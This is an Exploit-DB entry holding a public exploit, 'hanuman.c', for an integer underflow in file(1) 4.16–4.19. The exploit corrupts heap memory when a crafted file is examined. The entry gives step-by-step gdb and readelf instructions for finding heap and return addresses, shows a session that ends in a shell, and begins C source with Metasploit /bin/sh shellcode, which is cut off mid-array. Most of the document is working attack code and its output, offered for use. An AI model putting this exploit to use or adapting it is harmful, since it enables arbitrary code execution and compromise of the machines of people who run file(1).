Exploit-DB #29753
Description: File(1) 4.13 - Command File_PrintF Integer Underflow
Type: remote
Platform: linux
Date: 2007-03-19
Author: Jean-Sebastien Guay-Leroux

Exploit:
// source: https://www.securityfocus.com/bid/23021/info

The file(1) command is prone to an integer-underflow vulnerability because the command fails to adequately handle user-supplied data.

An attacker can leverage this issue to corrupt heap memory and execute arbitrary code with the privileges of a user running the command. A successful attack may result in the compromise of affected computers. Failed attempts will likely cause denial-of-service conditions.

Versions prior to 4.20 are vulnerable. 

/*
  * hanuman.c
  *
  * file(1) exploit for version 4.16 to 4.19.
  * Coded by Jean-Sebastien Guay-Leroux
  * http://www.guay-leroux.com
  *
  */


/*

Here are the steps to find the 3 memory values to use for the
file(1)
exploit.


1- The first step is to generate a core dump file from file(1).
You will
then have to analyze this core dump to find the proper values for
your
exploit.

To generate the core file, get an approximation of the top chunk
location
by getting the base address of the BSS section:

bash# readelf -S /usr/bin/file

Section Headers:
   [Nr] Name              Type            Addr
   [ 0]                   NULL            00000000
   [ 1] .interp           PROGBITS        080480f4
   [...]
   [22] .bss              NOBITS          0804b1e0

The BSS section starts at 0x0804b1e0.  Let's call the exploit the
following
way, and remember to replace 0x0804b1e0 for the BSS value you have
found:

bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal
--[ Using 0x804b1e0 as the top chunk location.
--[ Impossible to use 0xc0c0c0c0 as the return location. Using
0xc0c0c0c4
instead
--[ Impossible to use 0x804b1e0 as the return address. Using
0x804b1e1
instead
--[ The file has been written
bash# file mal
Segmentation fault (core dumped)
bash#


2- Call gdb on that core dump file.

bash# gdb -q file core.14854
Core was generated by `file mal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/local/lib/libmagic.so.1...done.
Loaded symbols for /usr/local/lib/libmagic.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/lib/gconv/ISO8859-1.so...done.
Loaded symbols for /usr/lib/gconv/ISO8859-1.so
#0  0x400a3d15 in mallopt () from /lib/i686/libc.so.6
(gdb)


3- The EAX register contains the address of the top chunk.  It
might be
another register for you.

(gdb) info reg eax
eax            0x80614f8        134616312
(gdb)


4- Start searching from the location of the top chunk to find the
NOP
cushion.  This will be the return address.

0x80614f8:      0xc0c0c0c1      0xb8bc0ee1      0xc0c0c0c1
0xc0c0c0c1
0x8061508:      0xc0c0c0c1      0xc0c0c0c1      0x73282027
0x616e6769
0x8061518:      0x2930206c      0x90909000      0x90909090
0x90909090
0x8061528:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061538:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061548:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061558:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061568:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061578:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061588:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061598:      0x90909090      0x90909090      0x90909090
0x90909090
0x80615a8:      0x90909090      0x90909090      0x90909090
0x90909090
0x80615b8:      0x90909090      0x90909090
(gdb)

0x8061558 is a valid address.


5- To get the return location for your exploit, get a saved EIP
from a
stack frame.

(gdb) frame 3
#3  0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0,
nbytes=8192) at
readelf.c:1007
1007                            if (doshn(ms, class, swap, fd,
(gdb) x $ebp+4
0xbffff7fc:     0x400172b3
(gdb)

0xbffff7fc is the return location.


6- You can now call the exploit with the values that you have found.

bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal
--[ Using 0x80614f8 as the top chunk location.
--[ Using 0xbffff7fc as the return location.
--[ Impossible to use 0x8061558 as the return address. Using
0x8061559
instead
--[ The file has been written
bash# file mal
sh-2.05b#

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>


#define DEBUG                           0


#define initial_ELF_garbage             75
//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically
// linked

#define initial_netbsd_garbage          22
//, NetBSD-style, from '

#define post_netbsd_garbage             12
//' (signal 0)


// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS  0x7       // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK)
\
     & ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
     < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
     & ~MALLOC_ALIGN_MASK)


// Offsets of the note entries in the file
#define OFFSET_31_BYTES  2048
#define OFFSET_N_BYTES   2304
#define OFFSET_0_BYTES   2560
#define OFFSET_OVERWRITE 2816
#define OFFSET_SHELLCODE 4096


/* linux_ia32_exec -  CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
    http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x